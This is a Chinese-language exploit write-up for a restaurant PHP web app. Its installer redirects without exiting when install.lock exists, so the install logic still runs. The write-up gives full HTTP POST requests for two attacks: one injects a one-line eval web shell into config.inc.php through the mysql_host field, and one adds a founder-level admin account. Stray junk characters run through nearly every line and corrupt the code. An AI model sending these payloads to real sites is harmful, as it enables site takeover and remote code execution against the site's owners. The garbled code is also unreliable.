问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。( m) t8 b% q* W7 K0 h
& E4 ]( s3 x$ W+ T6 }, l3 f
<?php
- f9 j2 Q$ K& s, h6 J5 t3 q4 g: zif(file_exists("../install.lock"))
. Z: _' E7 P5 G6 w{$ c3 J K- ~. q4 k( U1 T
header("Location: ../");//没有退出
* U' H1 }+ W$ \; l! O}
' n: u& w% T0 Q. K2 \7 X* K0 ` 6 c: _+ ]; e3 F6 B- X: D
//echo 'tst';exit;
+ v; _5 S0 h) }; }require_once("init.php");
$ p+ V) ?/ C, i/ v# lif(empty($_REQUEST['step']) || $_REQUEST['step']==1)" ?4 w8 N4 d6 R" `9 L$ i6 V3 O2 \
{
! H2 Q+ ^" S: d! g) q) t可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
) Y! N; Y% p3 k# x$ a' o Q4 l$ h# C8 j2 \. b8 _' z8 W
1、getshell(很危险)
1 p' p9 o1 I% f# A7 yif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
, u/ F4 U1 M4 Q% X{
+ k. {% v( _3 i2 g {, {! V8 s$smarty->assign("step",1);% F9 ~! l: C0 E6 |* N1 |
$smarty->display("index.html");
6 Z$ f# v! I6 {+ }: W}elseif($_REQUEST['step']==2)' t l, [( J; m# z# Y9 L
{5 O; J( ~8 O T) i$ U/ y
$mysql_host=trim($_POST['mysql_host']);
' B" e; A& N) ?3 F, ]% b $mysql_user=trim($_POST['mysql_user']);
$ B# i. C0 ?8 X $mysql_pwd=trim($_POST['mysql_pwd']);) v4 C4 J. S. J5 c
$mysql_db=trim($_POST['mysql_db']);& \, \/ X" A. o [
$tblpre=trim($_POST['tblpre']);
7 r' X* y6 ~! b" @6 { $domain==trim($_POST['domain']);" A, [. x9 d- M* F
$str="<?php \r\n";' L# T7 ^" K1 X; Q6 k$ A. J4 \8 @' w
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
3 F* ?1 b7 z7 J $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
1 q$ a; o- H8 {$ E1 ]& ` $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";" N+ y+ q, n& S5 ]$ x; p
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";. g1 U3 ?/ P( V) E# }8 {
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
1 U+ X+ f9 i: y $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";4 e' y( {" g5 ?- O& B4 j
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
+ W+ f6 { u8 L& |) k9 R $str.='define("SKINS","default");'."\r\n";( }; P" N/ h: \
$str.='?>';
U4 M. s. t* N5 D- W2 ^ file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
, x2 D' ^* E6 J) k T上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马0 R0 z. }2 A2 l3 b: t( O: n4 m6 q& `1 y
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
( O* K' ?5 n: n: u2 v) lHost: 192.168.80.1295 S0 ~' x* w; l5 x9 f; M2 |
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0( r# x6 Q/ R6 j$ a
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
! G8 Y9 R4 [5 d. o- j5 l2 ?Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
8 q/ W7 R- ]: g% N5 {Accept-Encoding: gzip, deflate
; z4 L3 j5 m1 ]Referer: http://192.168.80.129/canting/install/index.php?step=1" W) W; c% ]6 b1 n, c
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc426 L: M8 L. a$ ^. z% x
Content-Type: application/x-www-form-urlencoded6 g* s- h" u8 b
Content-Length: 126
# s7 ^1 v& F8 g4 z' X2 r; }$ I2 L * s# b. O& h' b) x" x2 P* `4 D
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD H3 ]+ _# ~5 U5 ]# V' \8 J
但是这个方法很危险,将导致网站无法运行。1 n, w8 W7 J" u# {9 l
1 C3 _, x* O: N3 D: K# M6 A
2、直接添加管理员
, P" l( Z. T* ?) j3 S5 X' M% j* `0 Y5 _. B. [3 f3 z' J+ a2 s. s
elseif($_REQUEST['step']==5)) j8 [0 K! B( a1 y4 q
{: G1 L5 ~; ]' s
if($_POST)
' K \) e$ u w' Y! g4 r { require_once("../config/config.inc.php");% a3 R9 ]& S9 C4 x! I1 Y
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
; o5 f( |0 I" l. v1 \4 e mysql_select_db(MYSQL_DB,$link);/ E, |1 \- `! X' f' W/ X% n
mysql_query("SET NAMES ".MYSQL_CHARSET );1 ^8 ]- }7 l! |* W
mysql_query("SET sql_mode=''"); W" n7 i2 n/ Z% ^2 n c* h
9 `! R K/ g- ]" c, V
$adminname=trim($_POST['adminname']);0 @0 ?3 m* q- U" k4 \
$pwd1=trim($_POST['pwd1']);
+ k( `1 t* E7 r! w$ O8 A5 B# x $pwd2=trim($_POST['pwd2']);
6 q" h! B( g( m0 N4 q if(empty($adminname))
' M; J0 C- k2 M$ y2 O {
& G- y+ }) j6 _: f" }+ z9 u. V8 d b$ r% d6 _4 e1 T# m
echo "<script>alert('管理员不能为空');history.go(-1);</script>";5 ]5 @) h! O9 F) N i v/ w
exit();
& @! I* O9 E* q1 _3 g1 a+ B }
# e) Q# l' ]4 K+ z- Y if(($pwd1!=$pwd2) or empty($pwd1))- E4 ~- m4 I5 s
{ o. f3 |% e% R: A. b6 W9 @: z
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出 N+ D: t$ J2 [; ?2 t2 [; K
}: T* L' X0 N1 t
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
/ j/ r# d, f8 h' B3 W }
/ S0 M8 q0 k& w2 C这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:6 d; I2 W6 j& {+ {4 h
POST /canting/install/index.php?m=index&step=5 HTTP/1.14 Y2 J0 a# V2 K6 B5 B9 r
Host: 192.168.80.129/ _1 W- n0 p: A* l3 h
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
! I# ~! m1 C$ h; H# e0 x/ G; iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.81 s t; S; y. Q# R2 |4 c" G& J' N& b
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3: o9 S0 O& ^; h1 v$ B
Accept-Encoding: gzip, deflate- S) |" e* {2 z; y$ q
Referer: http://www.2cto.com /canting/install/index.php?step=1
4 d+ @0 S9 w( z, L5 Y- KCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42. a$ w& Q7 ] o: d
Content-Type: application/x-www-form-urlencoded3 S) e' d& A. c! J8 E- S/ T1 K
Content-Length: 46) g9 i( X" S8 l- p/ N
' P5 u: U4 g! Xadminname=qingshen&pwd1=qingshen&pwd2=qingshen3 M: D% Y& J4 |5 V9 e
|